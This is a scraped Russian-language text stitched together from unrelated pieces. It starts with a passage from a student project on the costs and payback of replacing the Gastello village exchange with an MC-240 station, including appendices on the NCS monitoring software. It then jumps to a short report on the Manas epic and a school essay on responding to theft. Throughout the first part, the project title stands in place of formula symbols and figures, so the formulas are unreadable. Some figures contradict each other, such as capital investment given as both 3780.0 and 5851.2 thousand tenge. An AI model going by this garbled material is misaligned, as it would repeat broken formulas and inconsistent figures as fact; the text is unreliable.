где Ц — цена системы (оборудования); КРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240— стоимость транспортировки к месту эксплуатации; КРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 — стоимость монтажа системы (оборудования) на месте эксплуатации; КРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240— стоимость прокладки линии; КРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240— стоимость запаса сменяемых частей, хранящихся у потребителя.

Таблица 7.1 — Капитальные затраты

Наименование

затрат и работ

Количество единиц

Сметная стоимость единицы, тенге

Сметная

стоимость

общая, тыс. тенге

1

2

3

4
Раздел А (оборудование):
Коммутационное оборудование, портов

300

12000

3600,0
Прочее оборудование не учтенное сметой, (от стоимости оборудования), %

1,0

120

36,0
Тара и упаковка (от стоимости оборудования), %

2,0

240

72,0
Транспортные расходы (от стоимости оборудования), %

2,0

240

72,0
Итого по Разделу А:

12600

3780,0
Раздел Б:
Монтаж и настройка (от стоимости оборудования), %

10

1200

360,0
Обучение (от стоимости оборудования ),%

1,0

120

36,0
Итого по разделу Б:

1320

396,0
Раздел В:
РШ 600х2, шт

2

25000

50,0
Кабель ТПП 100х2, м

1000

300

300,0
Кабель ТПП 50х2, м

1000

250

250,0
Кабель ТПП 10х2,

2000

150

300,0
ЯКГ 20х2

10

700

7,0
ЯКГ10х2

10

500

5,0

Итого по

разделу В

26900

912,0
Вместе по смете (А + Б+В):

40820

5088,0
НДС, %

15

6123

763,2
Итого с НДС

46943

5851,2

Станционное оборудование составляет 80% от общей части капитальных затрат, а увеличение объема мощности линейного оборудования и систем передачи (КРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240) 20%:

КРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 = К*20% ,тыс. тенге (7.2)

тогда общие капительные затраты определяется:

КРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240=К+ КРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240, тыс. тенге (7.3)

Затраты на один монтированный номер (тыс.тенге) определяется:

КРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 = КРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240/ N (7.4)

где N — количество подключаемых портов (N= 300).

Годовые эксплуатационные расходы складывается из следующих статей затрат: заработная плата штата основной деятельности с отчислениями на социальные налоги; амортизационные отчисления; расходы на материалы и запасные части; затраты на электроэнергию со стороны производственных нужд; прочие производственные и административно-управленческие расходы.

Расчет годового фонда заработной платы штата основной деятельности производится на основании расчета численности производственного персонала должностных окладов, сложившихся на телефонной сети Жаркаинском РУТ на 2006-2007 годы. Для обслуживания АТС (0,5 единиц- техник) и местной кабельной сети требуется (0,5 единиц — электромонтер), а обслуживания магистрали между районным центром и поселком (ЦС-ОС) осуществляется централизовано с ЦТЭ, который находиться в районном центре (РУТ). Новая станция типа МС-240 не требует постоянного контроля и в будущем также будет контролироваться с ЦТЭ, поэтому на 1-м этапе эксплуатации ЦАТС достаточно одного персонала. Результаты расчета численности штата и годового фонда заработной платы сведены в таблицу 7.2.

Таблица 7.2 — Годовой фонд заработной платы

Наименование должностей

и профессий

Станционные сооружения

Линейные сооружения

Всего человек

Оклад, тенге

Годовой фонд

зарплаты, тыс. тенге

Техник

0,5

0,5

15000

180,0
Электромонтер

0,5

0,5

13000

156,0
Итого

1

28000

336,0

Отчисления на социальные нужды составляют 20% от годового фонда зарплаты. Из них: отчисления на социальные нужды (тыс.тенге) составляют:

ОРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 = ФОТ * 0,20 (7.5)

ОРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 =336,0* 0,20= 67,2 тыс. тенге

Годовой фонд заработной платы основной деятельности с отчислениями на социальные налоги (тыс.тенге) составит:

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 (7.6)

ФОТ=336,0 + 67,2 = 403,2 тыс. тенге

Величина амортизационных отчислений определяется исходя из первоначальной стоимости оборудования и сооружений связи и установленных норм амортизации.

Амортизационные отчисления рассчитываются по формуле:

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 тенге (7.7)

где 0,97 – коэффициент определяющий капитальных затрат, переходящих в основные производственные фонды (ОПФ); НРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 — средняя норма амортизации для основных фондов.

ЭРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240= 5851,2*0,97*0,083=471,08 тыс. тенге

Для расчета расходов на материалы и запчасти (тыс. тенге) используем формулу:

ЭРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 =0,05 * Ц (7.8)

где Ц — стоимость оборудования; 0,05 – коэффициент, определяющий расходы на материалы и запчасти на один монтированный номер.

ЭРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 = 0,05 * 3600,0 =180,0 тыс.тенге

Затраты на электроэнергию для производственных нужд от сторонних источников электроснабжения определяется в зависимости от потребляемой мощности и тарифов, определяемых по формуле:

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 (7.9)

где Т-тариф на электроэнергию ( 5,0 тенге/кВтч); Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 расход тока в ЧНН на 1000 номеров (для ЦАТС Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-24038 А ); U — величина номинального станционного напряжения, U=60 В; В — число тысячных групп (1); Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 КПД выпрямительной установки, Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 равный 0,7; Кчнн — коэффициент концентрации нагрузки в ЧНН, Кчнн=0,1 .

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240, тенге

Полученные данные по определению затрат на электроэнергию рассчитана на 1000 номеров, а в нашем случае достаточно (300 номеров) — 17832,6 тенге.

Прочие затраты на производственные, транспортные управленческие и эксплуатационно-хозяйственные расходы определяются укрупнено в размере 10 % от общей суммы затрат на основании данных эксплуатации станции. Результаты расчетов годовых эксплуатационных расчетов сведены в таблице 7.3.

Таблица 7.3 – Эксплуатационные расходы за год

Показатели

Единица измерения

Сумма затрат,

тысяч тенге

Структура затрат, %
1

2

3

4
Заработная плата производственного персонала с отчислением на социальный налог

тыс.тенге

403,2

34,19

Амортизационные

отчислениями

тыс.тенге

471,08

39,95
Материалы, запчасти

тыс.тенге

180,0

15,26

Затраты на

электроэнергию

тыс.тенге

17,83

1,51
Прочие

тыс.тенге

107,21

9,09
Итого

1179,32

100

Выручка от основной деятельности включает в себя разовую и текущую выручку. Структура абонентов определяется спросом на услуги телефонной связи. Количество новых установок определяется как разница между монтированной емкостью проектируемой АТС и емкостью демонтированных станций:

NРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240= 300-100=200 номеров

При расчете текущей выручки взяты среднестатистические данные продолжительности разговора по категориям абонентов плюс абонентская плата. Выручка от основной деятельности представлена в таблице 7.4.

Выручка включает в себя статьи доходов от установки телефонов юридическим лицам, физическим лицам, абонентская плата от физических лиц, юридических лиц – предприятия, организации, частные предприниматели). Также в статьи доходов входят дополнительные виды обслуживания (будильник, ограничение исходящей связи, переадресация и другие). Следующие статьи доходов – это зона Интернет, междугородные и международные переговоры, аренда каналов, выделенные линии, подключение ISDN, ADSL (технологии асимметричной цифровой абонентской линии и интеграция служб).

Эффективность капитальных вложений рассчитывается по формуле:

Э = П / К (7.10)

где П — чистая прибыль; К- капитальные затраты.

Чистая прибыль определяется по формуле:

П = ПРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 — НРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 (7.11)

где ПРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240– ожидаемая годовая прибыль; НРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 – корпоративный налог, составляет 30% от ожидаемой годовой прибыли .

Таблица 7.4 — Выручка от реализованных услуг в 1-й год эксплуатаций АТС

Виды услуг

Тариф, тенге

Единица измерения

Количество

услуг, единиц

Сумма выручки, тыс. тенге
Раздел А:

Разовые выручки

(установка ТА), всего, в том числе:

тенге

Квартирный сектор

12000

тенге

100

1200,0
Деловой сектор

37120

тенге

20

742,4
Итого по разделу А:

тенге

120

1942,4
Раздел Б:

Текущая выручка

абонентская плата, всего, в том числе:

тенге

Квартирный сектор

480

тенге

160

921,6
Деловой сектор

1500

тенге

20

360,0
Итого по разделу Б:

тенге

1281,6
Раздел В:
(Интернет)

25 % от суммы доходов

тенге

806,0
Прочая выручка

25% от суммы доходов

806,0
Итого по разделу В:

1612,0
Итого А+Б+В

4836,0

Доходы без НДС составят 4168,6 тыс.тенге

Ожидаемая прибыль составит:

ПРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240= Д — Э (7.12)

ПРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 = 4168,6 — 1179,32= 2989,28 тыс.тенге

Чистая прибыль составит (по формуле 7.11):

П = 2989,28 – 896,78 = 2092,5 тыс.тенге

Рентабельность рассчитывается по формуле:

Р = П / К % (7.13)

где К — капитальные затраты, (тыс.тенге)

Р = 2092,5/5851,2=0,357*100=35,7 %

Срок окупаемости составит:

ТРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240=К/ПРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 (7.14)

где Т – срок окупаемости, лет

ТРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240=5851,2/2092,5 = 2,79 ≈ 2,8 лет

Приведем технико-экономические показатели в таблице 7.5.

Таблица 7.5 – Технико — экономические показатели

№ п/п

Наименование показателей

Единица

измерения

Сумма
1

Капитальные вложения

тыс. тенге

3780,0
2

Доходы

тыс. тенге

4836,0
3

Расходы

тыс. тенге

1179,32
4

Балансовая прибыль

тыс. тенге

2989,28
5

Подоходный налог (корпоративный налог)

тыс. тенге

896,78
6

Рентабельность

%

35,7
7

Чистая прибыль

тыс. тенге

2092,5
8

Окупаемость

лет

2,8

Заключение

Целью настоящего проекта является замена устаревшего оборудования ОС (АТС) на современную цифровую типа МС-240 (Россия). При реконструкции устаревшего оборудования ОС происходит:

— увеличение доходов от населения, за счет увеличения абонентской станционной и линейной емкости, а также от предоставляемых услуг и дополнительных услуг связи;

— достижение эффективной телекоммуникационной инфраструктуры, устраняющей дисбаланс между сельским и городским населением в отношении уровня жизни, образования и других социальных услуг;

— обеспечение агропромышленного комплекса современными телекоммуникационными услугами и т. д.

Приведенные расчеты в разделе «Технико-экономическое обоснование проекта» показывают целесообразность реконструкции ОС п. Гастелло Жаркаинского РУТ Акмолинской области. Экономические показатели соответствуют нормативным, вложенные инвестиции окупятся через 2,8 год.

Приложение А

Основные характеристики системы SI-2000:

максимальная емкость до 40000 абонентских линий;

максимальная емкость узловой станции — до 7000 аналоговых или цифровых соединительных линий;

512 направлений (число линий в направлении от 1 до 7000);

тракт 2 Мбит/с может быть разбит на несколько направлений (до 30);

в одном направлении могут быть исходящие, входящие и двухсторонние каналы, а также каналы с различными системами сигнализации;

общая пропускная способность системы — 5000 Эрл;

производительность — до 200000 вызовов в ЧНН;

потребляемая мощность — 0.5…0.7 Вт на АЛ;

возможность включения ISDN абонентов;

электропитание: — 48В постоянного тока (при использовании IPS/MPS — 230/380 В переменного тока);

условия эксплуатации: температура от плюс 5 до плюс 40° градусов, влажность от 20 до 80 %.

В состав системы входят следующие основные функциональные узлы:

— GSM (GROUP Switch Module)- групповой переключатель,

— ADM (Administration Module) –административный модуль,

— CHM (Line Concentrator Module)-тарифный модуль,

— (R)ASM ((Remote) Analog Network Module) –(удаленный) аналоговый сетевой модуль,

— LCM (Line Concentrator Module) – модуль абонентских концентраторов,

— (R)ANM ((Remote) Analog Subscriber Module) –(удаленный) аналоговый сетевой модуль,

— DNM (Digital Network Module)-цифровой сетевой модуль,

— CCSM/DSM – модуль ОКС № 7 / ISDN.

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 1 — Структура системы SI-2000

Приложение Б

Таблица 1 — Характеристики АТС СТС Жаркаинского района

Тип АТС

Наименование населенного пункта

Тип

оборудования АТС

Год

установки

Емкость

станций

Ёмкость

задействованная, %

Количество ОТА

Куда включена
монтир.

задейст.

монтир.

АОН

1

2

3

4

5

6

7

8

9

10
ЦС

Державинск

SI-2000

2006

2500

2300

2500

2300

2300

АМТС
ОС1

Львовское

50/200

1981

100

95

100

95

95

РЦ
ОС2

Валиханово

50/200

1980

150

150

150

150

150

РЦ
ОС3

Тасты-Талды

50/200

1980

200

195

200

195

195

РЦ
ОС4

Берсуат

50/200

1981

150

150

150

150

150

РЦ
ОС5

Костычево

50/200М

1983

100

100

100

100

100

РЦ
ОС6

Тасоткель

50/200

1980

100

100

100

100

100

РЦ
ОС7

Кенское

50/200

1980

50

50

50

50

50

РЦ
ОС8

Гастелло

50/200

1991

100

100

100

100

100

РЦ
ОС9

Отрадное

50/200

1984

100

95

95

100

95

РЦ
ОС10

Пятигорск

50/200

1983

200

195

200

195

195

РЦ
ОС11

Тассуат

50/200

1981

100

95

95

100

95

РЦ
ОС12

Далабай

50/200

1980

100

95

95

100

95

РЦ

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240Рисунок 1 — Структурная схема СТС

Приложение В

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 1 – Структурная схема М-200

Таблица 1 — Техническая характеристика станции М-200

Управление

программное
Коммутация

цифровая
Микропроцессорный комплект

Intel 80C38
Тактовая частота

66 МГц
Сопроцессор

ADSP2185KP
Коммутатор ИКМ- потоков

Siemens
Емкость ОЗУ

256 кБайт
Флэш-память

384 кБайт
Аналогово-цифровое преобразование

Motorola
Количество внутренних соединений

80/96
Напряжение питания абонентского шлейфа

60 В
Абонентский комплект

симметричный
Вызывной сигнал

95 В,25Гц
Электропитание

220В,50Гц или 60В постоянного тока

Приложение Г

Таблица 1 – Общие характеристики МС-240

Наименование характеристики

Значение
Общие характеристики
Количество абонентских линий

до 496 (512 для отдельно стоящей АТС)
Шаг расширения

16
Сопротивление абонентской линии вместе с телефонным аппаратом

не более 4 кОм
режим «повышенной дальности»

не более 6 кОм
при работе с блокиратором

не более 2 кОм
Способ набора номера вызываемого абонента

декадный, частотный (DTMF)
Частота сигнала индукторного вызова (ИВ)

25±2 Гц
Напряжение генератора ИВ

95±5 В
Управление

программное
Тип процессорного устройства

Intel 80386ЕХ
Тип сигнального процессора

ADSP 2186
Связь с другими АТС

ЦСЛ ИКМ, каналы ТЧ
Предоставляемые функции ДВО

32 категории ДВО
Напряжение питания

либо 24..75В, либо ~220В
Удельная потребляемая мощность

0,2 Вт/номер
Ток потребления по цепи питания*

не более 3А
Габаритные размеры*

450 х 260 х 350 мм
Масса*

не более 20 кг
Интервал рабочих температур

от минус 10 до +45 °С
Средний срок службы

20 лет

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 1 — Структурная схема МС-240

Приложение Д

Базовые модули:

Модуль блока питания БП24-60Г, БП24-60М, БП24-60МГ

Модуль блока питания БП220

Модуль центрального процессора ЦП

Субмодуль цифровых потоков Е1 С4Е1

Субмодуль LVDS СКС

Модуль расширения КС

Абонентские модули:

Модуль абонентских комплектов 24АК

Модуль абонентских комплектов 24АК-D

Модуль спаренных абонентских комплектов 16СК

Модуль системных телефонов 16СТ

Модуль системных телефонов 24СТ

Выносные модули абонентских комплектов ТАД-2, ТАД-4

Модуль для подключения абонентских устройств по SHDSL 4DSL-A

Модули соединительных линий:

Модуль цифровых потоков Е1 2Е1

Модуль цифровых потоков Е1 8ТМ

Модуль цифровых потоков ИКМ15 2И15

Модуль окончаний каналов ТЧ 8ТЧ

Модуль аналоговых двухпроводных СЛ 8АЛ

Станционный модуль DSL 4DSL

Модуль шлюза IP TM.IP

Дополнительные модули:

Модуль СОРМ

Блок аварийной сигнализации

Комплект АЛ обеспечивает:

прием индукторного вызова;

управление шлейфом, импульсный и тональный набор номера.

Количество комплектов

8
Входное/выходное сопротивление

600 Ом
Ток имитатора шлейфа, не менее

25 мА
Затухание несогласованности относительно сопротивления

600 Ом
в полосе: (0,3…0,6) кГц, не менее

12 дБ
(0,6…3,4) кГц, не менее

15 дБ

Приложение Е

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 1 — Схема распределения нагрузки

Приложение Ж

При первом запуске NCS программа запросит пароль. По умолчанию в систему внесены следующие данные: имя “admin”, пароль “1”. После ввода и запуска программы можно производить дальнейшую настройку. Дальнейшая настройка производится через пункт меню «Файл/Настройка программы» (рисунок 1).

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 1 – Диалог настройки NCS

Во вкладке «Основные настройки» указывается:

– адрес SQL сервера;

– путь к файлу базы данных;

– идентификатор программы – идентификатором является уникальное, в пределах системы (одной базы данных) число. Это число позволяет настраивать в пределах одной базы данных множество конфигураций сетей, каждая со своими объектами и способом доступа. По умолчанию NCS имеет идентификатор ноль. Менять его не рекомендуется. Каждый новый клиент MON должен получать свой новый уникальный идентификатор (1,2,3…и т.д.);

– активировать журнал обмена с PbxAdm – используется для отладки работы системы;

– активировать журнал обмена с ЦПв3 – используется для отладки.

Смена адреса SQL сервера, пути к файлу базы данных приведет к потере информации, поэтому задавать эти параметры рекомендуется только при первичной настройке системы.

Во вкладке «Отображение» производится настройка:

– Шрифт надписей – задается шрифт для надписей на главном поле программы (имен объектов);

– Ширина активного линка – ширина в пикселах для линка у которого активирован мониторинг;

– Ширина пассивного линка – ширина отображения линка с неактивным мониторингом;

Вкладка «SNMP»:

– Активировать SNMP агент – запускает высылку SNMP трапов по указанному в настройках IP-адресу.

– Адрес получателя;

– Порт получателя;

– Порт источника (порт, встроенного в NCS агента).

Примечание: изменение настроек SNMP агента начнут действовать только после перезапуска программы NCS.

Вкладка «Сеть станций»:

– Автоматическая синхронизация времени – программа NCS будет сравнивать системное время компьютера и внутреннее время станций. При расхождении в секундах на величину больше, чем указанная в настройках, будет произведена автоматическая установка. Эталоном считается время компьютера, на котором запущен NCS.

– Поддержка БиТТЛ – включить поддержку автоматической системы изменения услуг и ограничения доступа абонентов станций МС-240. Используется совместно с системой автоматизации абонентских данных БиТТЛ.

Вкладка «Сигнализация»:

– Звуковой сигнал при аварии (динамик ПК) – при активации этого флага, аварийное состояние любого из объектов мониторинга будет сопровождаться звуковым сигналом динамика компьютера;

– Звуковой сигнал при аварии (Sound Card) – при активации этого флага, аварийное состояние любого из объектов мониторинга будет сопровождаться звуковым сигналом на колонках, подключенных к звуковой карте компьютера. Файл задается в том же диалоге.

Звуковой файл должен быть на диске в формате WAV (без сжатия):

– Поддержка БАС – при активации этого флага программа NCS будет дублировать аварийные состояния на Блок Аварийной Сигнализации. В настройках БАС IP адрес компьютера должен быть прописан в таблице источников сообщений.

– Поддержка GSM SMS – активация этого флага позволяет дублировать наиболее важные (критические) сообщения путем рассылки на сотовый телефон стандарта GSM. Для этого необходимо, чтобы к компьютеру был подключен телефон стандарта GSM, с настроенным телефоном центра сообщений и положительным балансом. Телефон подключается через Ком-порт или через BlueTooth, с организацией виртуального Ком-порта. Затем в настройках указывается номер Ком-порта и номер телефона получателя SMS сообщений.

Примечание: изменение настроек БАС и GSM SMS начнут действовать только после перезапуска программы NCS.

Вкладка «Прочее»:

– Период автоматической очистки журнала аварий – эта опция позволяет автоматически очищать базу данных, удаляя устаревшие записи.

Приложение З

Типы доступа к станции МС-240 ЦПv3:

– Serial Port – последовательный порт RS232. В параметрах указывается номер порта;

– Модем – установленный в компьютер аналоговый модем. В параметрах указывается тип модема и виртуальный номер в станции, через который будет производиться доступ.

– Ethernet-PcmGate – устройство, позволяющее осуществлять доступ к станции через поток Е1. В параметрах указывается IP адрес устройства и виртуальный телефонный номер на станции.

– CommServer – программа совместного доступа к Ethernet-PcmGate. В параметрах указывается IP адрес компьютера, на котором запущена программа и виртуальный телефонный номер на станции.

– TCP/IP – прямой доступ к станции по протоколу TCP/IP. В параметрах указывается IP адрес станции.

– Для терминала мониторинга введен тип доступа “IP-транзит”. В параметрах указывается IP адрес компьютера, на котором запущен сервер мониторинга (NCS.EXE), а также уникальный идентификатор объекта доступа на сервере. Идентификатор можно получить через отдельный диалог настройки.

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 1 – Свойства станции

Типы доступа к станции МС-240 ЦПv2 дублируют типы доступа к станции ЦПv3, кроме способа доступа TCP/IP (в ЦПv2 этот тип доступа недоступен).

Для центральной станции задается тип доступа и IP-адреса основного и резервного ЦП.

К мультиплексору МАКОМ-МХ доступ осуществляется по последовательному порту RS232 или RS422. В параметрах указывается номер последовательного порта и идентификатор для порта RS422.

В качестве пароля для станций указывается пароль доступа, сконфигурированный программой администратором PbxAdm. Для мультиплексора пароль не указывается.

Объект «Абонентский вынос» может быть добавлен только после того, как будет выделен базовый объект – станция МС-240 с ЦПв3. В параметрах выноса задаются слот, в который установлен модуль 4DSL, и номер комплекта. Также задается тип связи (DSL/E1) и количество установленных регенераторов. Регенераторам можно задать имена и включить мониторинг (рисунок 2).

Изменять количество регенераторов на линии после создания выноса нельзя. Если необходимо настроить другое количество регенераторов, то нужно удалить вынос и создать заново.

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 2 – Свойства абонентского выноса

Приложение И

Пример мониторинга соединительных линий.

Например, «Потеря потока на АТС-66».

Флаг «Линк активный» запускает механизм опроса состояния этого потока. Если он выключен, то на карте соединение всегда будет в исходном состоянии.

После внесения параметров для первого объекта соединения нужно нажать кнопку «Ок», затем на карте выбрать второй объект соединения и, после щелчка правой кнопки мыши на объекте, выбрать пункт меню «Межстанционные связи/выбор второй станции для соединения». Далее внести слот, порт и индекс соединения у второго объекта.

Примечание: мониторинг состояний потока производится только для первого объекта!

Таким образом, в качестве второго объекта может быть объект «Внешняя АТС», мониторинг которой не ведется.

Чтобы отредактировать параметры соединения, нужно выбрать один из объектов, участвующих в соединении, выбрать в меню пункт «Межстанционные связи/показать соединения». Затем в списке соединений открывшегося диалога выбрать соответствующий линк и отредактировать параметры.

Удаление связи производится через пункт меню «Межстанционные связи/разорвать связь». В открывшемся диалоге выбрать линк для удаления и нажать «Ок».

Чтобы отменить первую станцию установления соединения нужно выбрать пункт меню «Межстанционные связи/отмена соединения».

Приложение К

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 1 – Процесс соединения с объектом

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 2 – Авария доступа

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 3 – Соединение с объектом установлено

Доклад: Признаки государственности, отраженные в эпосе «Манас»

Признаки государственности, отраженные в эпосе «Манас»

Первые сведения о кыргызах приводит китайский историк Сыма Цянь в 99 г. до н.э. Он писал, что гунны покорили Царство Гэгунь в 201 г. до н.э. Термин «гэгунь» китаистами прочитывается в форме «кыргыз».

2003 год в Кыргызстане в Международном масштабе объявлен годом государственности кыргызов. В связи с этим перед историками, археологами, этнографами встала задача более углубленно исследовать эту проблему.

При рассмотрении вопросов государственности кыргызов до сих пор мы опираемся в основном только на сообщения китайских историков. В качестве важного источника можно обратится к богатейшему устному творчеству кыргызов, прежде всего всемирно известному героическому эпосу «Манас». Новое значение этому придал президент Кыргызской Республики, издав в 2002 г. книгу “Кыргызская государственность и народный эпос «Манас»”.

Эпос содержит в своих поэтических строках множество историко-этнографической информации, в том числе сведения, подтверждающие наличие государственности у древних кыргызов. Прежде всего, в эпосе «Манас» неоднократно упоминаются различные атрибуты и символы государства: печать (мooр), флаг, стяг, знамя (туу, асаба, байрак, желек). Атрибуты государственной власти видны в упоминании эпосом ханской короны (таажы) и социальных терминов: хан, бек, бий, батыр, сынчы (советник, знаток разных дел), чечен (военный эксперт), кул (раб) и др.

Эпос «Манас» в художественной форме отразил в своих строках исторические события и этнографические реалии, начиная с гуннского времени (с III в. до н.э.) и кончая началом XX в. В конце XIII в. государство енисейских кыргызов (VI-XIII вв.) пришло в упадок под воздействием монголов, которые переселяли кыргызов в глубинные районы Центральной Азии. Этот момент, а также переселение кыргызов из Алтая на Ала-Тоо очень метко отразился в эпосе. «Манас» повествует и о попытках возрождения государственности кыргызов.

Список литературы

Для подготовки данной работы были использованы материалы с сайта http://manas.kyrgyz.ru/

Реферат: Действия при кражах

Школа №41 (экстернат)

 

 

 

 

 

 

 

 

 

 

 

Реферат

по теме: “Кражи”

 

 

 

 

 

 

 

 

Ученицы: Точелович Майи

Класс: 9 “Б”

 

Москва, 1997 г.

 

Содержание:

Квартирная кража ……………………………………………………. 3 стр.

В дверь звонит незнакомец ………………………………….. 3 стр.

Ночной взломщик ……………………………………………………. 4 стр.

Ограбление …………………………………………………………….. 4 стр.

Карманная кража ……………………………………………………. 5 стр.

Кража из автомобиля …………………………………………… 5 стр.

Угон автомашины ……………………………………………………. 5 стр.

Кража в поезде ……………………………………………………. 6 стр.

Кража багажа в аэропорту …………………………………………… 7 стр.

Пропажа паспорта ……………………………………………………. 8 стр.

Пропажа сберегательной книжки …………………………. 8 стр.

Пропажа кредитной карточки ………………………………….. 9 стр.

Список литературы …………………………………………… 10 стр.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Квартирная кража.

Меры предосторожности:

По статистике восемь из десяти квартирных краж или ограблений совершаются непрофессионалами, людьми случайными, лишь на время по какой-либо причине рекрутированными преступностью в свои ряды. Они не изощрены в воровской технике и действуют напролом — просто выбивают дверь и берут то, что могут унести. Поэтому в первую очередь нужно позаботиться об укреплении входной двери, окон, установить надёжные замки, оборудовать квартиру сигнализацией.

Для остальной же части преступного мира, которая вдруг может заинтересоваться частной собственностью, принимаются такие меры безопасности: например, уезжая в отпуск, попросить соседей вынимать из ящика почту — это создаст видимость присутствия кого-то дома; в то же время, покидая город (даже ненадолго), нужно постараться сделать так, чтоб об отсутствии знало как меньше людей.

Наконец, классический совет: не надо носить ключи в сумочке, в которой лежат документы, говорящие о местожительстве. Даже пропав, сумочка, таким образом, не откроет перед преступниками дверь квартиры или машины.

Для предотвращения краж необходимо:

Позаботится об укреплении входной двери, окон.

Установить надежные замки.

3. Оборудовать квартиру сигнализацией.

Уезжая в отпуск, попросите соседей вынимать из ящика почту.

Постараться, чтобы об отъезде знало как можно меньше людей.

Потеряв ключи и документы, в которых указан домашний адрес, срочно поменять замки.

7. Не забывать заглянуть в глазок, когда звонят в дверь.

 

Если в дверь звонит незнакомец.

Необходимо действовать так:

Не открывать двери и не впускать незнакомца в дом, пока не будет ясна цель его визита и его намерения.

Если сомнения остались, то необходимо попросить его подождать за дверью, позвонить соседям и попросить их зайти. Если их нет дома, то позвонить в милицию и объяснить, что какой-то незнакомец хочет войти в квартиру.

 

 

 

 

Ночной взломщик.

Если проснувшись ночью и услышав, что кто-то пытается открыть дверь в квартиру (или уже открыл её), то:

необходимо зажечь свет и кричать: в большинстве случаев грабители предпочитают уйти ни с чем, нежели выяснять отношения с хозяином дома;

можно найти что-нибудь такое, что смогло бы сойти за оружие, — вазу, стул, вязальную спицу и т.д. — но надо быть готовым использовать это оружие только в крайнем случае;

даже если в доме находится кто-то один, то нужно крикнуть что-нибудь, будто обращаясь к кому-либо из членов семьи;

если удалось разглядеть взломщика или транспорт, на котором он приехал, нужно постараться запомнить какие-нибудь характерные детали, чтобы потом описать их милиции.

 

Ограбление.

Если грабители ворвались в дом или квартиру, надо не вдаваться в панику. Это не поможет.

Как можно действовать:

Не вступать с грабителем в пререкания.

Запомнить всё, что можно увидеть и услышать, обращая внимание на любые особенности внешности и поведения бандитов. Это облегчит их поимку и поможет вернуть похищенное.

Карманная кража.

Действия:

Если кто-то обнаружил кражу за короткий период времени, необходимо сразу же найти дежурного сотрудника милиции и сообщить ему о случившимся. Объяснить ему, что пропало, и постараться вспомнить приметы людей, находившихся рядом.

После этого нужно пройти в ближайшее отделение милиции, чтобы подать заявление о краже. Где находиться отделение можно узнать у дежурного сотрудника милиции.

 

Кража из автомобиля.

Нужно действовать так:

Не садясь внутрь машины, надо позвонить в отделение милиции, на территории которого вы находитесь.

Сообщив дежурному о случившимся, необходимо: назвать своё имя, домашний адрес и ждать приезда работников милиции.

До приезда работников милиции надо постараться определить, что именно похищено из автомобиля. Можно открыть багажник, но ничего там не перекладывать.

